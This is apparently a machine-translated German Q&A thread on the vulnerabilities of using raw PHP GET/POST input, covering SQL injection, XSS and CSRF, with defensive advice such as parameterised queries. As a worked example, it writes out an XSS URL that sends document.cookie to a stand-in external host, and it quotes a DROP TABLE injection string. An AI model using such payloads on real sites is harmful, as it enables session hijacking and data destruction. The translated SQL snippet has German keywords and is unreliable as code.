Ich möchte wissen, Was sind die Sicherheitslücken bei der Verwendung der GET und POST-Variablen direkt. dh mit out trimming und addslashes Funktion und mysql Escape-String so etwas.Was sind die Schwachstellen bei der direkten Verwendung von GET und POST?
Meine Frage ist
Was wir kümmern mehr benötigen, während sie mit GET und POST zu spielen.
Welche Art von Angriffen gibt es wie SQL-Injektion?
Im Allgemeinen und nicht auf GET und POST beschränkt, sondern auch auf jede Daten, die kommt von außerhalb des Systems (einschließlich Cookies im Falle von Web-Anwendungen):
Fast alle Sicherheitslücken kommen auf "Der Benutzer kann den Code ausführen, den er in dem Kontext mag, in dem er seine Eingaben weitergibt".
Sie müssen darüber nachdenken, was Sie mit den Daten tun. Die Suche nach einer Liste von möglichen Dingen, die schiefgehen können, wenn man in irgendein System auf der Welt verdorbene Eingaben akzeptiert, wird keine erschöpfende Liste ergeben.
Und als Nebenbemerkung: vergessen addslashes (es ist nicht effektiv), vergiss mysql_real_escape (es ist zu einfach, einen Fehler damit zu machen). Verwenden Sie parametrisierte Abfragen: How can I prevent SQL injection in PHP?
+1. Nicht nur GET, POST und Cookies. Selbst ein REFERER kann Sie in Schwierigkeiten bringen: http://www.hanselman.com/blog/BackToBasicsTrustNothingAsUserInputComesFromAllOver.aspx –
hauptsächlich CSRF, XSS und Directory-Traversal:
http://en.wikipedia.org/wiki/Cross-site_request_forgery
Wenn Sie eine GET-oder POST-Variable nehmen und effektiv ausführen, ohne es durch einen Filter von einigen Arten zu übergeben, öffnen Sie sich für Injektionsangriffe. SQL-Injektion ist offensichtlich ein sehr häufiger Fall, aber wenn Sie irgendeine Art von eval() mit diesen Daten (in einer Programmiersprache oder einer anderen Datenbank oder interpretierten Situation - einschließlich der Übergabe von HTML zurück zum Browser auf dem Client interpretiert werden) Dann können erfahrene Angreifer Eingabedaten erstellen, die Ihre Anwendung dazu bringen, Dinge zu tun, die nicht beabsichtigt sind.
Es erstreckt sich auf ein bisschen mehr als nur "Get" oder "Post". Es hängt alles von der Programmierung ab, die Sie getan haben, um sie zu unterstützen. Wenn Sie nur eine statische HTML-Seite bedienen, gibt es nicht viele Sicherheitslücken. Wenn Sie andererseits Daten über get-Requests einstellen und ändern, können die Sicherheitslücken endlos sein. Suchen Sie einfach nach den Fällen, in denen der Google Bot Daten von Orten löscht, die "get" verwendet haben, um Dinge zu übermitteln.
Es hängt alles davon ab, wofür Sie die Daten verwenden, und die Sicherheitslücken sind nur eingeschränkt verfügbar. Sanitize deine Eingaben.
Einfachste XSS-Angriff mit einem kleinen wenig Social Engineering
Hier können Sie eine einfache PHP-Anwendung annehmen müssen, die Sitzungen von Benutzern verwendet zu verfolgen. Und es hat eine Art Admin-Oberfläche, wo Benutzer mit höheren Rechten sagen können, dass sie Inhalte bearbeiten können.
Und, lässt vermuten, dass Sie sich als Administrator an dieser Stelle angemeldet und dass es innerhalb dieser Anwendung eine Datei request.php, mit dem folgenden Stück Code
echo $GET['action'];
Und jetzt das jemand entdeckt baut die folgende uRL http://yourapp/request.php?action= document.location.href = ‚http://foreignsite?c=‘ + document.cookie
dann, dass jemand diese uRL zu tinyurl.com fügt hinzu, die es zu etwas wie http://tinyurl.com/x44534 verkürzt, dann schickt er Ihnen eine E-Mail , mit der Aussage "Hey, sieh dir das an, du findest es nützlich".
Sie klicken auf den Link, tinyurl.com übersetzt die kurze URL zurück auf die lange, leitet Ihren Browser dorthin um, Ihre request.php gibt das Javascript erfreulicherweise aus der Abfrage aus, Ihr Browser sieht es, führt es aus und als Ergebnis, die Person, die http://foreignsite läuft, bekommt alle Ihre Cookies.
Dann muss er nur diese Cookie-Werte in seinen Browser einfügen, und voila, er hat sofortigen Zugriff auf Ihre Website-Admin-Schnittstelle. Weil er dein Session-Cookie bekommen hat.
Dies beschrieben die einfachste mögliche XSS-Angriff, es ist wirklich simpel, wird wahrscheinlich nicht im wirklichen Leben funktionieren, aber hoffentlich haben Sie die Grundidee, wie es funktioniert.
hmm, nun, SO hat die Skript-Tags als XSS-Schutzmaßnahme herausgenommen :) Wie auch immer, der Wert der Aktion Parameter sollte von Script-Tags umgeben sein, dann ist dies sinnvoller. –
GET- und POST-Daten sind Daten, die direkt vom Benutzer gesendet werden. Sie erhalten es roh, ohne Überprüfung oder Validierung zwischen dem Benutzer und Ihrem Programm. Selbst wenn Sie das Formular validieren, mit dem die Daten erstellt werden sollen, kann ein Angreifer manuell eine Anfrage mit den gewünschten Daten erstellen. Daher müssen Sie Anforderungsdaten immer als nicht vertrauenswürdige Benutzereingaben behandeln.
Es gibt eine Reihe von Angriffen, die darauf beruhen, dass der Coder vergessen hat, dass Anfragedaten nicht vertrauenswürdig sind, aber die bekannteste ist die SQL-Injektion. Die Hauptursache der SQL-Injection besteht im Erstellen einer Abfrage durch manuelle Verkettung von Zeichenfolgen, von denen einige nicht vertrauenswürdige Benutzereingaben sind. Dies bedeutet, dass Sie Ihrer Datenbank mitteilen, dass sie nicht vertrauenswürdige Benutzereingaben ausführen soll.
Die naive Lösung zur SQL-Injection besteht darin, die Eingaben zu validieren und sie dann in eine Abfragezeichenfolge zu verketten, aber dies ist auch eine schlechte Form. Sie verlassen sich auf Ihre Validierungslogik, um die Zeichenfolge sicher zu machen, und wenn Sie sie missbrauchen - oder die Logik ist fehlerhaft - dann sind Sie wieder Angriffen ausgesetzt.
Die richtige Lösung besteht darin, Ihre Abfrage von den darin enthaltenen Daten zu trennen. Praktisch alle Datenbankadapter unterstützen diesen Ansatz, und wenn dies aus irgendeinem Grund nicht der Fall ist, ist sie nicht für den Einsatz geeignet. Das gebräuchlichste Idiom ist (in keiner bestimmten Sprache):
myDB.query ("Wählen * aus Stuff wo id =?", [42]);
Dies garantiert (in einem solchen System), dass die Parameter nicht ausgeführt werden. Die Abfragezeichenfolge besteht aus vollständig vertrauenswürdigen Daten, während die nicht vertrauenswürdigen Daten getrennt sind.Im schlimmsten Fall kann dieser auf falsche Eingaben angewandte Ansatz zu falschen Daten und nicht zu einem falschen Befehl führen.
Dieser Ansatz zur Vermeidung von SQL-Injection hebt das zentrale Prinzip hervor, das für alle Arten von Anforderungsdatenangriffen gilt: Die Anforderungsdaten gehören nicht Ihnen und sind nicht sicher. Gehen Sie bei der Verarbeitung von Benutzereingaben, einschließlich Anfragedaten, immer davon aus, dass sie von einem Angreifer stammen, der Ihr System genau kennt. Es mag paranoid wirken, aber es hält dich sicher.
Wie die Leute bereits geschrieben haben, alle Benutzereingaben sollten als bösartig behandelt werden, unabhängig davon, wie sicher Sie sich fühlen könnten.
Entwickler denken darüber nach, den Code zum Zeitpunkt des Schreibens zu sichern und wenn sie Änderungen vornehmen, während Hacker darüber nachdenken, diesen Code zu verfälschen, wenn sie sich entscheiden, ob heute, morgen oder in der Zukunft 2 Jahre. Was zu dem Zeitpunkt, als der Code geschrieben wurde, vollkommen sicher schien, könnte sich zu einem späteren Zeitpunkt als ausnutzbar erweisen.
Grundsätzlich sollten alle Eingaben unabhängig davon, wofür sie gerade verwendet werden, gefiltert, überprüft und saniert werden. Jemand könnte es versäumen, ein Stück Benutzereingaben zu bereinigen, weil "es nicht für alles verwendet wird, was Schaden anrichten kann", dann entscheidet sich elf Monate später jemand im Team, die mutmaßlich gesäuberten Daten zu verwenden, die einer Variablen zugewiesen wurden. in einer SQL-Abfrage oder einem System Exec Call und das ganze System bläst.
Was sollte getan werden:
Weiße Liste statt schwarze Liste - wissen, was Eingabetypen, die Sie erwarten und konvertieren entsprechend Benutzerdaten-IDs sind in der Regel ganze Zahlen, so dass es sicher ist, alle Benutzer-IDs eingereicht als ganze Zahlen zu werfen. - wissen, wenn Sie kleine Datenmengen erwarten, und wenn Sie große erwarten. Persönliche Namen sind in der Regel relativ kurz und enthalten keine Ziffern, "1"; DROP TABLE Kunden; " ist kein richtiger Name und Sie können das ohne Schrägstriche wissen.
schwarze Liste dann einige nur für den Fall - die Standard-entweichende Logik auf alle Daten anwenden, die durch ihr Adressbuch gemacht, nur für den Fall
dann filtern und um einige weitere - bis Sie sich sicher fühlen
Alle Superglobals können von Benutzeragenten manipuliert werden. $ _SERVER, $ _POST, $ _GET usw.
Die allgemeine Regel lautet "traue den Benutzereingaben nicht". Alles, was vom Benutzer in irgendeiner Form kommt, muss einer Sicherheitsüberprüfung unterzogen werden. – Jess